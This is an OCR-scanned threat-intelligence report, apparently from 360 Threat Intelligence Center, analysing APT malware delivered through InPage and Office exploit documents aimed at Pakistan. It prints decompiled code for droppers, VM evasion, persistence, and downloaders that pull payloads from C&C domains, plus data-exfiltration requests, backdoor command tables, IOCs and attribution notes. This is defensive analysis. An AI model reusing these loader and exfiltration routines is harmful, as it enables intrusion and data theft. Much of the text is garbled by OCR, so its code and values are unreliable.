Then determine whether the installed application includes kaspersky, NORTON, trend technology and

var_ 120, 00403714h
var_ 128, 0000000Eh
edx, wvar 128
ecx, var_30

var 4, 00000005h
var_100, 80020004h
var 108, 0000000Rh

var 120, 00403784h ;

; %¥ecx = 35_edx 5 ' vkbaVarCopy

"winmgmts: /S . /root/defaulc: StdRegProv”

other related software Killing applications:

Then WMI executes the select * from win32_computersystem command to get the application

information and detect the virtual machine environment by determining whether the word "virtual" is

push 004038D8h ;
call [004011&4h]
mov edx, eax

lea ecx, var_ 48
call [00401238h]
mov ecx, var_ 48
mov var &40, ecx

mov var 48, 00000000

push 00000001h
mov edx, wvar_ 38
push edx

push 00000000h
push FFFFFFFFh
push 00000001h
push 00403620h ;
push 0040369%98h
mov edx, wvar RO
lea ecx, wvar_40
call [00401238h]
push eax

call [00401154h]
mov edx, eax
lea ecx, wvar_4%4
call [00401238h]
push eax

push 00000000h
call [004011B0Oh]

included in the name:

https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

vbNullStcring

: @Replace(35tkVarl

; BInStr(%StkVarsd,

"EyEkEsBrlefplzBalkEn
; BStrReverse (%¥5tkVarl)

. ES5TtEVarz,

£5tkVars3,

; %ecx = %5 _edx 5 '_ vbaStrMove

; %ecr = %5 edx 5 '_ vwbaStrMove

; %ecr = %5 edx 5 '_ vwbaStrMove

i5tkVarz,

i5tkVar3,

$5tkVarl)

Hl" SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"|

E5ckVar4, %5tkVars,

' _ vwbalnStr

F5tkVa
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push 1

push winopen. 4030358

mov dword ptr ds:[edx+4],ecx

lea ecx,dword ptr ss:|Jebp-5&]

push ecx

mov dword ptr ss:Bebp-s5Cl, ebx

mov dword ptr ds:[edx+5],eax

mov eax,dword ptr ss:|Jebp-&0]

mov dword ptr ds:[edx+C],eax

lea edx,dword ptr ss:|Jebp-7C]

push edx

call dword ptr ds: [<& wvbavarLatememCal
add esp,z0

push eax

lea eax,dword ptr ss:|[Jebp-34]

push eax

call =si

Tea ecx,dword ptr ss:|Jebp-6&C]

call dword ptr ds: [<& vbaFreevar:=]
Tea ecx,dword ptr ss:|[ebp-34]

lea edx,dword ptr ss:|flebp-4&]

push ecx

lea eax,dword ptr ss:|Jebp-aAs]

push edx

lea ecx,dword ptr ss:|Jebp-g0]

push eax

lea edx,dword ptr ss:|ebp-g4]

push ecx

lea eax,dword ptr ss:|Jebp-ac]

push edx

push eax

call dword ptr ds:[<& wvbaForEachvarx>]

4030358: L"ExecqQuery™
ecx:L"VMWARE VIRTUAL PLATFORM™

ecx:L"WVMWARE WVIRTUAL PLATFORM™

esi:i___wvbavarsetvar

ecx:L"VMWARE WIRTUAL PLATFORM™

ecx:L"VMWARE WIRTUAL PLATFORM™

If the detection is in the virtual machine environment, the popover displays not a valid file and exits:

Cmp word ptr ss:ebp-BOj,FFFF
jnz winopen.40E356

mov ecx,350020004

MoV eax,A

mov dword ptr ss:|febp-&4],ecx
mov dword ptr ss:|lebp-54),ecx
mov dword ptr ss:|lebp-44],ecx
lea edx,dword ptr ss:[ebp-7C[
Tlea ecx,dword ptr ss:|ebp-3C])
mov dword ptr ss:|[lebp-&Ccl,eax
mov dword ptr ss:|lebp-sCjf,eax
mov dword ptr ss:|lebp-4C),eax
mov dword ptr ss:|jebp-74),winopen. 403BF{ 403EF5:L"NoL a valid Tile”
mov dword ptr ss:|jebp-7C), 5

If the detection passes, "SMTP Loader. LNK" will be created in the directory of %Start% to achieve

self-startup:

https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

call dword ptr ds:[«<& vbavVarDup=]

Tea eax,dword ptr ss:[ebp-&C] P

lea ecx,dword ptr ss:|ebp-5C])

push cok SMTP Loader (BNESHN
Tea edx,dword ptr ss:[ebp-4C[

push ecx

push edx

1ea eax,dword ptr
push ebx
push eax
call dword ptr ds:
1ea ecx,dword ptr
lea edx,dword ptr
push ecx
lea eax,dword ptr
push edx

55: |[Jebp-3C]]

[<&rtcMsgBoxs]
55: |febp-acC])
ss: llebp-5Cli

ss:|[febp-4C]]

Mot a valid file
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78 SMTP Loader

360 PHHR >
2018/11/27 11:05 thEEAFL 1 KB
[ =@ SMTP Loader Bt -
ge | wEk | =e | #EEe | cwEsns
| wERE | mm | =4 il
SNTE Loader
Btrdl: WRER
Birfrs: system32
Eh'_\. (T): c start C: \Users\. B+ opbwinope
el )

Finally, it communicates with C&C: referfile.com to obtain subsequent instruction execution:

push eax
push edi

xor edi,edi
cmp eax,edi

push dword ptr ss:|[lebp-15]

call ws2_32.7&FE4E9&

edi:L"referfile. com"

edi:L"referfile. com"
edi:L"refertile. com"

jne ws2z_32.76FEF382
Tea eax,dword ptr ss:|[febp-1C]
push eax

lea eax,dword ptr ss:|[ebp-24]
push eax
push dword
push dword
push dword
push dword ptr ss:|lebp-34)
push dword ptr ss:|febp+20{
call IWSZ_I32. T&FES §A.E-

ptr
ptr
ptr

55
35
=1

tiebp-z04
:lfebp-z04
:liebp-1C)

Delphi Backdoor Program

360 Threat Intelligence Center found a batch of backdoor written by Delphi through big data
correlation, which are also documents with InPage vulnerability. Relevant sample information is as follows:

MD5 fec0ca2056d679a63cal8cb132223332

Original file name Exe adobsuit.

The captured Delphi backdoor is the same as the backdoor written by Visual Basic, which is also
released from the resource file by similar Dropper and created by creating Adobe creative suit. LNK file in
the directory of %Start% and pointing to the implementation of persistence:

[#{ Adobe creative suit 2018/11/26 21:13  HUEAT 1KB

(S

[#m=s | uimmn |

,
@‘i Adobe creative suit B

B CREST (FEd [ =a

L\

Adobe creatiwve snit

Birea: AR
Birun: Desktop
BRI

The backdoor will Ducument in % % folder to create the users. The TXT file, and random write 30
bytes of the string:
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USErs

users - o=

W S|S|E \mI0) =F;E(NV) EEH)
ISHGEE’EziTchEE}Hﬂ{SgLHﬁ:iI—hﬂrSHp

Trojan program will access to a computer user name and the computer user name after encrypting the
Ducument to % % / SylLog. The log file:

bl HEX $iiF ASCII PR TSPIEHTY 7575184E [CALL 2| FE kernel32.75751449
61376484 |55 73 65 72|28 6F 0012FC70| 008O610C|| hFile - 8800010C (window)
B13764CH |73 7h 65 GD|28 AF 0012FC74| 013764B4|| Buffer = 61376484
813764D4|57 49 4E 20|35 39 0012FC78| 0000031|| nBytesTourite - 31 (49.)

0012FC7C| 0812FCAO|| pBytesUritten = BO12FCAD

013764EL BA 00 60 60| O6C C6 47 BO|ED 26 37 01|14 1B 00 @0) ... ..
813764F4 |55 73 65 72|28 6F 0012FC80( 00006008|LpOverlapped = HULL
B012FC84(-0012FCED

8137650473 74 65 6D |28 4E
0137651457 49 A4E 2D |35 39

6012FC88 (| 06400524 [{E [ bin2.06400521 FH <jnp.tkernels?.

01376524 BC C6 47 08 ED 26 Ba12FCBC (| ABAABTAC

81376534| 60 60 60 60| 60 60 60 60| 60 60 G0 OO| G0 6O 60 A6 ..
81376544 60 60 BA 60| 60 B0 GO GO| B0 GO GO BO| GO 6O B0 A ..
81376554 60 60 BA 60| 60 GO B0 60| B0 BA GO BO| BB BA 6O AB)| ..

B012FC90(| 813764B4 | ASCIL “User name and System Hame :- mm_WI
B012FC94|| 00006031
B012FC98(| O812FCAD
8012FCOC|| ABAARAAG

After that, | communicated with C2:errorfeedback.com and sent the contents of sylog.log file as POST:

POST /MarkQualityd55/developerbuild.php?h=TTGEKWoFdyQHEwpyYKnfUGtzQLfeqpJd HTTP-1
a

Connection: keep-alive

Content—Type: multipart form—data; boundary= 1127181 606885975%6
Content—Length: 237

Host: 127.8.8.1

Accept: textshtml, /%

User—Agent: Mozilla~r3.8 {(compatible; Indy Libraryd

112718180857756
Content—Disposition: form—data; name="unit'; filename="C:“Users mm-Document™syL
g . ].DQ'"
Content—Type: applicationsoctet—stream

When C2 returned to Success, and C2 communication in the form of HTTP GET request again, if return
a string, continued to from "errorfeedback.com/ MarkQuality455
TTGKWoFdyQHEwWpYYKmfVGtzQLfeqpd/string" perform download the following content:
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w23 = Idhttp: TIdCustDmHTTP::TIdCustDmHTTP(&cls_IdHTTP_TIdHTTP, wvidy;
LOBYTE(vS) =

w22 = unknoun_llbname_38(80ff_41585S, v5};

Idhttp: :TIdCustomHTTP: :Get (v23, w21, v22};
TForml_u@wsmx6pdgf(v24, &str_zFbF[1], &vid);
Sysutils::ChangeFileExt(*v28, w14, &v1S);

System:: linkproc__ LStrlAsg(v2e, v1S);

unknown_libname 315(v22, v28[8]);
__writefsdword(®e, N
__writefsdword(®, v1g);

w12 = &loc_476777;

1;

a;
Parameters;
System::_ linkproc__ LStrToPChar(*v2e);

TForml u@wsmxﬁpdgf( 24, &str_x1FY[l], &v13);

v7 = System:: linkproc__ LStrToPChar(v1z);
|5hellExecutEA;r(*off 47BAAB[@] + 48), v7, v, vI, via, vil);
System: :TObject::Free(v22);

System: :TObject::Free(v23);

0D e
nn

A Backdoor Using Cobalt Strike

Another captured InPage vulnerability exploit document ends up executing a backdoor generated by

Cobalt Strike, with the following documentation information:

MD5 74aeaeaca968ff69139b2e2c84dc6fab
The file type InPage vulnerability exploit documentation
Find the time 2018.11.02

ShellCode

After the vulnerability is successfully triggered, ShellCode first locates the main ShellCode with the
special identifier "LUNdLuUNd", and then loads the attached DLL in memory and executes.

Dropper
MD5 ec834fa821b2ddbe8b564b3870f13b1b
PDB path C: \ users \ mz \ documents \ visualstudio2013 \ Projects \ Shellcode \ Release \ Shellcod

e PDB

Memory loaded DLL file and the above Visual Basic/Delphi back door, is also from the resources to

release Trojan files and execute:
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vl = FindResourceA(lpThreadParameter, @x6A, “BIN");

v2 = vlj

v3 = LoadResource(lpThreadParameter, wl);

lpBuffer = LockResource(v3);

nNumberOfBytesTolrite = SizeofResource(lpThreadParameter, v2};
v4 = FindResourceA(lpThreadParameter, @x6B, “BIN2");

V5 = widj
v6 = LoadResource(lpThreadParameter, wi);
v7 = LockResource(ve);
vl4 = SizeofResource(lpThreadParameter, v5);
if ( !1pBuffer || !v7 || !GetTempPathuW(@x184u, &Euffer) )
_ABEL_7:
ExitProcess(@);

Stringl = @;
lstrcatW(&stringl, &Buffer);
IstrcatW(&5tringl, L"winopen.exe™);
result = CreateFileW(&5tringl, Ox48080000u, 2u, @, 2u, 8x38u, @);
v3 = result;
if ( result != -1 )
1
WriteFile{result, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, @);
CloseHandle(v3};
ShellExecutel(®, @, &tringl, @, @, 5);
Stringl = @;
IstrcatW(&stringl, &Buffer);
IstrcatW(&5tringl, L"SAMPLE.INP™);
result = CreateFileW(&5tringl, @x48080000u, 2u, @, 2u, 8x38u, @);
vl = result;
if ( result != -1 )
1
WriteFile(result, v7, vl4, &NumberOfBytesWritten, @);
CloseHandle{wl@};
ShellExecuteW(®, @, &tringl, @, @, 5);
goto LABEL_7;
¥
¥

return result;

Downloader — winopen. Exe

MD5 09d600e1cc9cb6dab48d9a367927e6bff
Compile time 2018.10.12
Release the Downloader executive called winopen. Exe, it will get a normal JPEG file header from

jospubs.com/foth1018/simple.jpg encrypted files, if successful, is from the JPEG file 49th bytes begin with
0 x86 or decryption:

mov al, 8eh
mov ecx, 31AB8h
jmp short loc_13
j =============== S U B RO U T I N E =ssssssoooooosmooooooocooooooooooooooos
sub_9 proc far 5 CODE XREF: sub_%9:loc_13ip
pop esi
mov ebx, esi
loc_C: ; CODE XREF: sub_9+64j
xor [esi], al
inc esi
loop loc_C
call ebx

The decrypted file is a DLL file, which is then loaded and executed.DLL program will first determine the
running environment and check whether the DLL loading process is rundll32.exe:
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vl = this;

memset(&Filename, @, Bx204Au);
GetModuleFileNamel(@, &Filename, Bx184u);
V2 = 1 1 £+ . .

if | wesicmp(v2, L"rundll32.exe”

1

result = sub JFF914(&1pBuffer, vl, EnNumberOfBytesTolirite);
if { result }
1
sub 2EEDCA();
sub 2EEFD4({1pBuffer, nNumberOfBytesToWrite);
result = sub_2EEEF4(&savedregs);
¥
¥
else
1
hHeap = HeapCreate(@, @, @);
if { !hHeap )
__debugbreak();
result = sub 2FB274();

}

return result;

If the loading process is not rundll32.dll, release the backdoor program named aflup64.dil under C:
ProgramData\Adobe64:

it ( ve )
1
CloseHandle(v@);
SHGetFolderPathi(@, 26, @, @, &pszPath);
vl = PathFindFileNameW({L"C:\\ProgramData'\Adobesd™);
PathAppendW (&pszPath, v1);

¥

else

1
memmove (&pszPath, L"C:\\ProgramData\\Adobe&d™, @x2Cu);

¥

v2 = wcslen(&pszPath);

memmove (&word 388184, &pszPath, 2 * v2);
memmove (&FileName, &pszPath, 2 * v2);
PathAppendwW(8word 38B1B4, L"cdrawxllV.exe");

PathAppendW(&FileName, L]afluped.dll™)|;
sub_2EE@24(&CommandlLine, BxIZ3U, L cmd.exe /g /c mkdir "%s\"", &pszPath);

return sub_ 2EE@B4(&CommandlLine);

Exe "C:\ ProgramData\ Adobe64\ aflup64.dll", exe "C:\ ProgramData\ Adobe64\ aflup64.dil"

v2 = niumberOfBytesTolrite;

v3 = lpBuffer;

memset({&pszPath, @, @x248u); |
vd = SHGetFolderPathW(e, 7, @, @, &pszPath);

if ( lwa )

1

PathAppendW(&pszPath, L"Start.lnk");
sub 2EE@24(&vE, @x123u, L"\"¥s\",IntRun”, &FileName};
LOBYTE(wv4) = sub 2EFBCA(&vE);
if ( va )
1
5leep(Bx3EBu);
vd = CreateFilel(&FileName, @x4o686680u, 0, @, 2u, 8, 8);
vh o= widg
if ( wd = -1
{
WriteFile(wv4, v3, v2, &NumberOfBytesWritten, @);
LOBYTE{v4) = CloseHandle(vS);
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Finally, start rundll32.exe to load aflup64.dll and call its export function IntRun:

vy = alj;

v8 = retaddr;

vE = &7 " dword_384018;

sub_2EE@24(&v5, @x123u, L"rundll32.exe \"¥s\",IntRun”, &FileName};
memset(&v2, @, @xddu);

v2 = BB

Vi o= a3

vi = Big4;

result = CreateProcessk(e, &5, @, 8, 8, 6xBE000086u, @, 8, &v2, &vi);
if ( result )

CloseHandle (DWORDL (w4 )} 5
result = CloseHandle(v4);
1

Backdoor - aflup64. DLL

MD5 91e3aa8fa918caafa8e70466a9515666

Compile time 2018.10.12

Exportation IntRun will do the same thing again, get the JPEG file, xor decrypt it, and then
execute.Because it is through rundll32 starts, so will go to another branch, first create the mutex "9
abf4cc4b39b13a6aecfe4c37179eab3" :

vB = CreateMutexM(8, 1, L"Sa5f4cc4b39b13aﬁaecfe4c3?1?9eaﬁﬂ");
result = GetLastError();
if ( vo && result != 183 )

1
S5leep(@x1388u);

sub_2EF484();
sub_2EFFC4();

}

return result;

Then, create "nnp74DE. TMP" file in the directory of % TEMP%. Then, execute the command tasklist,
ipconfig./all, dir to get system process information, network information, file list and so on.

Get|empPathu(¥xlesu, &5uTTer);
GetTempFileNameW(&Buffer, L"nnp”, @, &TempFileName});
sub 2EE@24(&CommandLine, @x123u, L"cmd.exe /q /c tasklist > \"¥s\"", &TempFileName);
sub_2EE@B4(&CommandlLine);
sub_2EE@24(
&CommandLine,
@xl23u,
L"cmd.exe /g fc echo —-----mm oo oo e x \"Es\T,
&TempFileName);
sub_2EE@B4(&CommandlLine);
sub_2EE@24(&Commandline, @x123u, L"cmd.exe /q /c ipconfig fall »> \"¥s\"", &TempFileName);
sub_2EE@B4(&CommandLine);
sub_2EE@24(
&CommandLine,
@x123u,
L"cmd.exe /q /c echo --—-------------mmmm »x \"Es\T,
&TempFileName);
sub_2EE@B4(&CommandLine);
sub_2EE@24(&Commandline, @x123u, L"omd.exe fg fc dir C:WN o »> \"HBs\"", &TempFileName);
sub_2EE@B4(&Commandline);
sub 2EE@24(&CommandLine, @x123u, L"cmd.exe /q /c dir D:\\ >> \"¥s\"", &TempFileName);
sub_2EE@B4(&Commandline); |
sub_2EE@24{&Commandline, @x123u, L"cmd.exe /q /c dir E:\\ »> \"Rs\"", &TempFileName};
sub_2EE@B4(&Commandline);
sub_2EE@24{&Commandline, @x123u, L"cmd.exe fq fc dir F:\\ 2> \"Rs\"", &TempFileName);
sub_2EE@BA(&CommandLine);

Then get the machine ID, system version, current system time, connect all the acquired information
beginning with "tag FluffyBunny", base64—encoded connect C&C and upload:
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Content-Type: multipart/form-data; boundary=------------------- fb74jh3ftdh38bnhfg7fb78kmc219b
Host: jospubs.com

Content-Length: 139089

Cache-Control: no-cache

_____________________ fb74jh3ftdh38bnhfg7fb78kmc219b6111891

Content-Disposition: form-data; name="m";
Content-Type: text/plain

————————————————————— fb74jh3ft4h38bnhfg7fb78kmc219b61t1891
Content-Disposition: form-data; name="id";
Content-Type: text/plain

VO10LTVGQIRENEFFQjhMX19KYWhoaGZhZ2c= | HEHNE-AFE

————————————————————— fb74jh3ft4h38bnhfg7fb78kmc219b61t1891
Content-Disposition: form-data; name="data";
Content-Type: text/plain

VGFn0iAgICAgICAgTCAgTCASICAEICAGIEZ sdWZmel]1bm55DQpWZXIzaW9u0iAg
ICAgICAgICAgICAICAGMiA1D0pNYWNoal51TE1EOiAgTCAZICAgICAGICAEVO1O0 .\, . _
LTVGQLRFNEFFQJhMX19kYWhoaGZhZ2cNC1dpbmRvd3MgVmVyc21vbjogICAgICAE ﬂig:;gzzéﬁﬁﬂiig%giﬁﬂ:zﬁ#ﬁu%%
ICBXaki5kb3dzIDYuMSAcU2VydmljZSBQYWNrIDEpDQpMb2NhbCBUaK110iAgICAg * ~ '
ICAgICAgICAgMMEM {05 ICAYMDEAL TEXL TIyDQoNCgOKO7PPBCP7s8YgICAZICAS
ICAgICAgICAgICAZICAgIFBIRCC74buw/sgICAgICAICAZICAZILvhu7A ICAE
ICAgIMTatObKudPDIAGKPTE9PTBIPTA9PTAIPTEIPTAIPTAIPTAIPSAIPTAIPTAT
PSA9PTEOPTE9PTA9PTAOPTA9IDBIPTAIPTEIPTEIIDBIPTEIPTAIPTEIPQRKU3 1z
dGVtIE1kbGUgUHIVY2VzcyAgTCAgTCAZICAgICAGMCBTZXI 2alN1cyAgICAGICAS

ICAgICAgTCAETICAWICAEICAGT CAgMQeSwOKU31zdGVE ICAZICAZICAgICAGICAS

After the information transmission is successful, Base64 encoding of the string "OK" will be returned:

while ( 1 }
1
vSd = @;
lpStringl = @;
sub_2F1324(&ve4, “pl1", &lpStringl, &vS4);
vad® = lpStringl;
if ( !'1pStringl }
goto LABEL_55;
if { w54 »= 2 && !lstrompA{lpStringl, "OK") )
break;

AL = i -
vad5 = vdd;

HIDWORD(v24) = @;

vi4l = GetProcessHeap();

HeapFree({w4l, HIDWORD(v44}, v45);
\BEL_55:

Sleep(@x3498u);

¥

If the request line is not successful, the request line is looped.After the successful launch, it will enter

the second stage to send base64-encoded data of calculation name—user name to
jospubs/foth1018/go.php and obtain the command execution:

POST /foth1@18/go.php HTTP/1.1

Accept: text/plain, text/html

Content-Type: multipart/form-data; boundary=---------------—-~-—- tb747h3+t4h38bnhfg7fb78kmc219b6111891
Host: jospubs.com

Content-Length: 369

Cache-Control: no-cache

————————————————————— fb743h3ft4h38bnhfg7fb78kmc219b61t1891
Content-Disposition: form-data; name="m";
Content-Type: text/plain

————————————————————— fb74jh3ft4h38bnhfg7fb78kmc219b61t1891
Content-Disposition: form-data; name="id";
Content-Type: text/plain

Ve10LTVGQIRFNEFFQjhMX19kYWhoaGZhZ2c=

--------------------- fb74jh3ft4h38bnhfg7fb78kmc219b61t1891--
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The format of relevant commands that can be obtained is in the form of "number: parameter", which
supports 5 commands in total. The list of relevant commands is as follows:

The command ID function

103 Download the Plugin and drop it into the % TEMP% directory
105 Gets the file memory load

115 Gets the contents of the parameter file

117 Delete the start. LNK file

120 Download the file to the %temp% directory and delete start.Ink

The Plugins - jv77CF. TMP

MD5 c9clec9aelf142a8751ef470afa20f15
Compile time 2018.4.3
In the debugging process of 360 Threat Intelligence Center analysts, we successfully acquired a Trojan

horse plug-in which was executed on the ground.The Trojan plugin continues to get the encrypted file from
pp5.zapto.org:
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memset(nams, @, @x1eeu),

gmemc py { name

"pp5.zapto.org”, 13);

v5 = gethostbyname(name);
if { !'ws )
return -1;
*&vli.sa_data[2] = **v5-»h_addr_list;
v13.sa_family = 2;
*yl3.sa_data = htons(@x1BBu);
if ( connect(v3, &v13, 18) )
return -1;
if ( recw(v3, buf, 4, 8) == 4 )

1
= *buf + 1;
v7 = GetProcessHeap()};
v1 = HeapAlloc(v7, 8u, vE);
w14 = wlj;
w17 = vl;
if (vl )
1
Vg = @;
Q = ¥y F
T but;
if ( "*buf }
1
LABEL_1@:
floldProtect = @;
VirtualProtect(vl, w2, Oxd48u, &Ffl0ldProtect);
ms_exc.registration.TrylLevel = @;
JUMPOUT(_ €S, vi17); | // exec
¥
while ([ 1 )
1
/18 = recv(v3, vl + v8, vd - vB, @);
if ( vie <=8 )
goto LABEL_12;
8 += v1e;
g = ¥y F
M= o ¥
if ( v8 »= *buf
goto LABEL_1@;
¥
¥

return -1;

¥

Upon successful retrieval, hetero or decryption is performed, and the decrypted file is a remote back

door generated by Cobalt Strike:

S

d)
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channel write
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command handle
command_join threads
command register

command register all
core_update desktop

core update thread tolten
packet add completion handler
paclket add exception
packet add zroup
packet add request _1d
packet add tlw bool
packet add tlw zroup
packet add tlvw gword
packet add tlw raw
packet add tlwv =tring
packet add tlw uint
packet add tlw wstring
packet add tlw wstring len
packet add tlws

packet call completion handlers
packet create

packet create group

packet create response

packet destroy

packet enum_tlw

Analysis of CVE-2017-11882 Samples

By expanding the big data platform of 360 Threat Intelligence Center, we found a vulnerability
utilization document of Office cve—-2017-11882 belonging to the same series of attack activities.The

document is called "SOP for Retrieval of Mobile Data Records. Doc", which is the same name as the
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InPage vulnerability for the release of the WSCSPL Trojan (with the same origin as the Retrieval of the
impersonal Records). However, the vulnerability document is targeted at Microsoft Office.

MD5

The file name

360 BUHME R 10

61a107feeb55e13e67a1f6cbc9183d0a4d

For SOP for Retrieval of Mobile Data Records. Doc

The Objdata object information containing the vulnerability is as follows:

PExssworkssinpage \woela
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Attribution and Correlation

360 Threat Intelligence Center through the analysis of this batch of InPage vulnerability utilization

of the file for the Retrieval of Mobile Data Records:
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documents and related attack activities, it is the "BITTER" APT organization disclosed by 360 company in
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2016 that is the group behind the targeted attack using WSCSPL backdoor program[5]And after further

analysis, many samples in the series of attacks are also strongly related to APT organizations such as
mahagrass, Bahamut and Confucius.

BITTER APT Group

After in—depth analysis of several InPage vulnerability documents with a relatively short attack time by
360 Threat Intelligence Center, it was found that the Trojan program released by the vulnerability document
was the backdoor program used by APT organization "manlinghua" exposed by 360 company in 2016[5], is
the analysis of the WSCSPL full — featured backdoor program.

Command ID Function

2000 Retrieve RAT status information
2001 Retrieve hard disk list

2002 Retrieve file list in given directory
2004 Retrieve RAT log 1

2005 Create file by given filename

2006 Write bytes into created file (2005)
2007 Open file

2009 Read file content (2007)

2012 Create remote console

2013 Execute remote command

2015 Retrieve RAT log 2

2016 Terminate remote console

2017 Close handle

2019 Retrieve a list of processes with UPD activity link
2021 Retrieve RAT log 3

2022 Terminate process by process ID
2023 Retrieve a list of active processes
2025 Retrieve RAT log 4

In addition, many of these C&C addresses are also strongly related to APT organization "manlinghua" in
the internal analysis platform of 360 Threat Intelligence Center. These C&C addresses have been
repeatedly used in attacks against China.Therefore, the relevant attack activities can be identified as "vine
spirit flower".

Relation to Confucius
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Delphi backdoor attack framework used in the C&C address errorfeedback.com in Trend Micro

exploring Confucius and mahagrass similarity[10]JAppears that the domain name has been disclosed as a
trend of Confucius use.

Relation to Patchwork

Through the in—depth analysis and correlation of Delphi backdoor attack framework mentioned above,
we also found that the attack framework and sample also appeared in the InPage attack sample analyzed
by Palo Alto in 2017[13]Palo Alto thought the attack framework and backdoor might have something to do
with mahagrass.

The dropped executable is a previously undocumented backdoor written in [B&lphi that has been named BioData by multiple

antivirus organizations.

This InPage exploit document follows a much simpler execution flow, as seen in the following diagram.

"

Figure 4 InPage exploit execution flow

Relation to "Bahamut"

A vulnerability document "AAT national assembly final.inp" analyzed by 360 Threat Intelligence Center
into the attack activity was finally executed by the Trojan horse (Visual Basic backdoor program) using the
domain name referfile.com as C2, which was published by Cisco Talos security research team in July 2018
as "a case of targeted attack against Indian iOS users".[9]It was revealed that Talos security research team
associated with this domain name was also used by a Visual Basic backdoor program, and the related

network assets were suspected to be owned by APT organization "Bahamut".

& https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM-Part2.html

We found additional similar samples between June 2017 and June 2018 with different C2 servers. The attackers
have two kinds of samples: one developed in Delphi and one developed in VisualBasic.

Here are the Delphi samples:

b96fc53f321729eda24af2a0b95e5¢1d39d46achbd5ab65e6c5f8c8111bf9¢c7al -= hxxp://appswonder] Jinfo
3f463cebef1550b055ef6b4d1dad16ff1cb514f0091271ce92549¢77bb5080d6 = hxxp:// ElSHlELIcom
4b94b152293e49532e549b2538cad85e950cd 1 6ccd948a4 7a632376a840626ed xp://hiltrox[Jcom
e70a1c230ef2894363b834137bbdbb3aledc88e81049a7c7774fab5b4ed78206b > huxp://scrollayer] Jcom
e7701181141dfd6234488e51340ba2d05901¢c8242a629a9952¢297c52a3ff050 > hx /twitck[.Jcom
e93f28efc1787ed5e8763cdc041 7e7d5db1c9203e484350c64860fff91dabAfs - hxxp://scrollayer]Jcom

Summary and Conjecture

360 Threat Intelligence Center analyzed a group of document samples with same attribution
(timestamp, ShellCode, InPage100 flow size, flow characteristics) , and found that those samples use at
least 4 different malicious code framework, and have connections with "PatchWork", "BITTER”,
"Confucius", "Bahamut" APT organization has produced more or less.Maybe these APT groups are actually
one group? Or their digital weapons are provided by one vendor(Their supporter give them same
exploitation tools)?
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The following is a TTP summary of APT groups mentioned in this article:

BITTER PatchWork Confucius Bahamut
Target China, Pakistan China, Pakistan South Asia South Afs'a (mainly Pakis
tan), Middle East
Attack platform  PC/Android PC/Android PC/Android PC/Android/iOS

Programming la

C Delphi/c # Delphi Delphi/VB
nguage

Spear—phishing Social networks, spear—phi Social network Social networks, spear-

Attack vector
attack shing attack phishing attack

10C

Documents with InPage vulnerability
863f2bfed6e8e1b8b4516e328c8bad1b
ce2a6437a308dfe777dec42eec39d9ea
74aeaeaca968ff69139b2e2c84dc6fab
Office vulnerability exploit documents
61a107feeb5e13e67a1f6cbc9183d0ad
Trojans
¢3fbadd704f2c540f3dd345f853e2d84
flaeac76f92f8b2ddc253b3f53248c1d
8dda6f85f06b5952beaabbfea9e28cdd
25689fc7581840e851c3140aa8c3ac8b
1c2a3aa370660b3ac2bf0f41c342373b
43920ec371fae4726d570fdef1009163
694040b229562b8dca9534c5301f8d73
fecO0ca2056d679a63cal8cb132223332
ec834fa821b2ddbe8b564b3870f13b1b
09d600e1cc9c6dab48d9a367927e6bff
91e3aa8fa918caaf%a8e70466a9515666
4f9ef618e4c641621f4581a5989284c¢
afedB882f6af66810d7637ebcd8287ddc

c&cC
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nethosttalk.com
xiovo416.net
nethosttalk.com
newmysticvision.com
wcnchost.ddns.net
referfile.com
errorfeedback.com
Jospubs.com
traxbin.com
referfile.com
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